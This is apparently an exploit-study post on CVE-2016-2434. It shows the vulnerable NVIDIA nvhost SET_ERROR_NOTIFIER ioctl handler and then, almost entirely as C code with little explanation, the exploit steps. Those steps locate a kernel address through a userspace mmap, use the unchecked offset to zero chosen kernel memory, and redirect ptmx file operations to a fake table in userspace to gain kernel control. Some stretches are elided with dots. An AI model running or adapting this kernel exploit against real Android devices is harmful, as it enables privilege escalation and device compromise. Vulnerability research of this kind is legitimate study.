EXP学习--CVE-2016-2434

static int (struct nvhost_channel *ch,        struct nvhost_set_error_notifier *args) {    void *va;    struct dma_buf *dmabuf;    if (!args->mem) {        dev_err(&ch->dev->dev, "invalid memory handlen");        return -EINVAL;    }    dmabuf = dma_buf_get(args->mem);    if (ch->error_notifier_ref)        nvhost_free_error_notifiers(ch);    if (IS_ERR(dmabuf)) {        dev_err(&ch->dev->dev, "Invalid handle: %dn", args->mem);        return -EINVAL;    }        va = dma_buf_vmap(dmabuf);    if (!va) {        dma_buf_put(dmabuf);        dev_err(&ch->dev->dev, "Cannot map notifier handlen");        return -ENOMEM;    }    /* set channel notifiers pointer */    ch->error_notifier_ref = dmabuf;    ch->error_notifier = va + args->offset; // args can be control    ch->error_notifier_va = va;    memset(ch->error_notifier, 0, sizeof(struct nvhost_notification));     return 0;}

map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);      // alloc a large mem	........	if(map == MAP_FAILED) {		printf("[-] Failed to mmap landing (%d-%s)n", errno, strerror(errno));		ret = -1;		goto out;	}	printf("[+] landing mmap'ed @ %pn", map);	memset(map, 0xff, 0x10000000);      // set all mem to 0xff	fd = open("/dev/nvhost-vic", O_RDONLY);	if(fd == -1) {		printf("[-] Open nvhost-vic fail (%s - %d)n", strerror(errno), errno);		ret = -1;		goto open_vic_out;	}	printf("[+] open device nvhost-vicn");	memset(&arg, 0, sizeof(arg));	arg.mem = nvmap_handle;	arg.offset = (unsigned long)map - 0xffffff8000000000;      //adjust address with userspace start	arg.size = 0;	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;	ret = ioctl(fd, cmd, &arg);                              // call vul ioctl 	if(ret == -1) {		printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);		goto ioctl_out;	}	for(i=0; i<0x10000000/8; i++) {                        //find zero offset .aka va		tmp = *((unsigned long*)map + i);		if(tmp == 0) {			break;		} 	}	va = 0xffffff8000000000 + i * 8;	printf("[+] va position: 0x%lxn", va);        .........

   .........   map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);if(map2 == MAP_FAILED) {	ret = -1;	printf("[-] shellcode mmap failed (%d-%s)n", errno, strerror(errno));	goto ioctl_out;}printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.n", map2);memset(map2, 0, 0x10000000);fake_ptmx_fops = PTMX_FOPS & 0xffffffff;                                         //fake PTMX_FOPS*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;printf("[+] clear ptmx_cdev list firstn");memset(&arg, 0, sizeof(arg));arg.mem = nvmap_handle;arg.offset = PTMX_MISC - va + 8 * 10;arg.size = 0;																//set the high 32 bit of ptmx_fops to zerocmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;                  //it will point to fake ptmx_fops in userspaceret = ioctl(fd, cmd, &arg);if(ret == -1) {	printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);	goto ioctl_out_2;}printf("[+] overwrite ptmx_cdev opsn");memset(&arg, 0, sizeof(arg));arg.mem = nvmap_handle;arg.offset = PTMX_MISC - va + 8 * 10 - 4;arg.size = 0;cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;ret = ioctl(fd, cmd, &arg);if(ret == -1) {	printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);	goto ioctl_out_2;}      ...........